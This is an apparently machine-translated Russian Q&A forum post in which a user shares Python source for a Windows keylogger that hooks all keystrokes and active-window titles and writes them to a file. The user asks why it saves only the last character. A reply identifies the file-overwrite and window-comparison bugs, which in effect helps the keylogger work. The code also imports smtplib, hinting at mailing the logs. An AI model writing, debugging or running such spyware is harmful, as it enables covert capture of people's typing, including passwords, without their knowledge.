2015-11-25 2 views
-2

У этого источника есть проблемы. Оказавшись внутри программы, как Блокнот, чтобы написать текст, который был написан как раз последний символНужна помощь для этого Keyloger

Например, программа блокнота запись: «Я программист» Но кейлоггер файлы, хранящиеся на нем:

[*] Window activated. [2015-11-25 09: 57: 08.805000] 
********************** 
    Untitled - Notepad | 
********************** 
r 

Где проблема? Что мне делать ? Пожалуйста, сообщите мне

from threading import Timer 
import subprocess, socket, base64, time, datetime 
import pythoncom, pyHook, win32api, win32gui,win32con, smtplib 
from time import strftime,gmtime 
LOG_ACTIVE='' 
LOG_FILENAME="kianoush.txt" 
def OnKeyboardEvent(event): 
    global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id 
    LOG_TEXT = "" 
    LOG_FILE = open(LOG_FILENAME, 'w') 
    WindowsTitle='' 
    wg=win32gui 
    LOG_NEWACTIVE = NewWindowsTitle  =    wg.GetWindowText(wg.GetForegroundWindow()) 
    if NewWindowsTitle!=WindowsTitle: 
       LOG_DATE = datetime.datetime.now() 
       LOG_TEXT += "\n\n[*] Window activated. [" +  str(LOG_DATE) + "] \n" 
       LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n" 
       LOG_TEXT += " " + LOG_NEWACTIVE + " |\n" 
       LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n" 
       print LOG_TEXT 
       WindowsTitle=NewWindowsTitle 
       LOG_FILE.write(LOG_TEXT)  
       LOG_TEXT = "" 
    if event.Ascii == 8: LOG_TEXT += "\b" 
    elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n" 
    else: LOG_TEXT += str(chr(event.Ascii)) 
    LOG_FILE.write(LOG_TEXT) 
    LOG_FILE.close() 
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

ответ

1

Я вижу две основные проблемы в вашем коде:

  • открытия файла с режимом «W» уничтожить его текущее содержание. Вы должны использовать «а» (добавить)
  • кода, который определяет новое окно разбито и всегда сравнивает имя окна с «», в результате чего в заголовке напечатанного для каждого вызова
Смежные вопросы